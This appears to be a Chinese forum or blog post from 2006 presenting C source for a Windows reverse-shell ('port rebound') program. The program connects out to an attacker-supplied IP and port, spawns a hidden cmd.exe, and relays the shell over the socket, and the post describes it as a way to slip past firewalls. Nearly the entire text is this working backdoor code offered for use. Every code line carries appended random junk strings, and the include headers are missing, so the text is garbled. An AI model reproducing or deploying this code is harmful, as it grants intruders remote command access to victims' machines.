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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 tHmV4H$  
XP(fWRT1  
/* ============================== 8,L)=3m-  
Rebound port in Windows NT -5y=K40  
By wind,2006/7 ~\OZEEI  
===============================*/ oAF#bj_f  
#include TG6E^3a P  
#include i:2e J.  
cH`ziZ<&m1  
#pragma comment(lib,"wsock32.lib") -r%k)4_  
R6`,}<A]@  
void OutputShell(); O4oI&i 7  
SOCKET sClient; )sLXtV)nm6  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ;3&HZq6Z (  
3M"eAK([  
void main(int argc,char **argv) :+Tvq,/"  
{ Yu: !l>  
WSADATA stWsaData; {YIf rM  
int nRet; [!YSW'  
SOCKADDR_IN stSaiClient,stSaiServer; Vi>`g{\  
s&L 6C[  
if(argc != 3) 8F/JOtkGMt  
{ CD pLV:  
printf("Useage:\n\rRebound DestIP DestPort\n"); MX s]3M  
return; _)MbvF  
} .&rL>A2U  
eT@, QA(3  
WSAStartup(MAKEWORD(2,2),&stWsaData); ;oWak`]f  
lr9s`>9  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); P vW~EJ  
u5A$VRMN  
stSaiClient.sin_family = AF_INET; ,IRy. qy  
stSaiClient.sin_port = htons(0); f5,!,]XO  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); L+Q.y~  
j'q Iq;y  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) :tT6V(-W  
{ ;` ! j~  
printf("Bind Socket Failed!\n"); A;7At!kK  
return; +J7xAyv_Oz  
} L~HL*~#d  
Y(C-o[-N  
stSaiServer.sin_family = AF_INET; 2!";?E  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); p_qJI@u8  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); V]P%@<C  
d7qYz7=d  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) f~{4hVA  
{ kGW4kuh)/q  
printf("Connect Error!"); xnPi'?A]  
return; 6Jd.Eg ~A7  
} {qb2!}FQ  
OutputShell(); yc.9CTxx  
} &'oZ]}^ 0  
b>f{o_  
void OutputShell() fl o9iifZ  
{ Kd;)E 9Ti  
char szBuff[1024]; iDV. C@   
SECURITY_ATTRIBUTES stSecurityAttributes; Gk]6WLi  
OSVERSIONINFO stOsversionInfo; Q3 yW#eD  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; >rid3~  
STARTUPINFO stStartupInfo; 8"C[sRhz  
char *szShell; P:fcbfH+  
PROCESS_INFORMATION stProcessInformation; -gVsOX0  
unsigned long lBytesRead; HB, k}Q  
@h!nVf%fe  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); O^KIB%}fu  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); UpS7>c7s  
stSecurityAttributes.lpSecurityDescriptor = 0; PiF&0;  
stSecurityAttributes.bInheritHandle = TRUE; 1XJLGMW,  
XY!0yAK(!  
Z&Xp9"j,@;  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); =jkiM_<h  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); z65Q"A  
>wf.C%  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); y8$I=  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :4/37R(~l8  
stStartupInfo.wShowWindow = SW_HIDE;  $M|  
stStartupInfo.hStdInput = hReadPipe; Zk> #T:{h  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; .A apO}{  
k%%0"+y#a  
GetVersionEx(&stOsversionInfo); DLd1Cl:"~:  
'|@?R|i0  
switch(stOsversionInfo.dwPlatformId) ZiaHLpk  
{ M6XpauR-  
case 1: ^]X\boWlI  
szShell = "command.com"; PIM4c  
break; |H ,-V;  
default: "I0F"nQ  
szShell = "cmd.exe"; +jb<=ERV[  
break; PgdHH:v)  
} A8T8+M:  
si#1sdR  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); IIO-Jr  
S(PU"}vZy  
send(sClient,szMsg,77,0); !![HR6"Q  
while(1) HUalD3 \  
{ \EW<;xq  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); D.*o^{w|  
if(lBytesRead) .qS(-7<  
{ xl ,(=L]  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); @7`=0;g  
send(sClient,szBuff,lBytesRead,0); v@Qfx V2  
} 9wdl1QS  
else /@Ec[4^=!.  
{ 2x!cblo  
lBytesRead=recv(sClient,szBuff,1024,0); k\Z7Dg$\D  
if(lBytesRead<=0) break; `oOVR6{K9  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); `Ha<t.v(  
} ne 8rF.D  
} #Q@~ TW  
)`K!XX$%  
return; Y|cj&<o  
}
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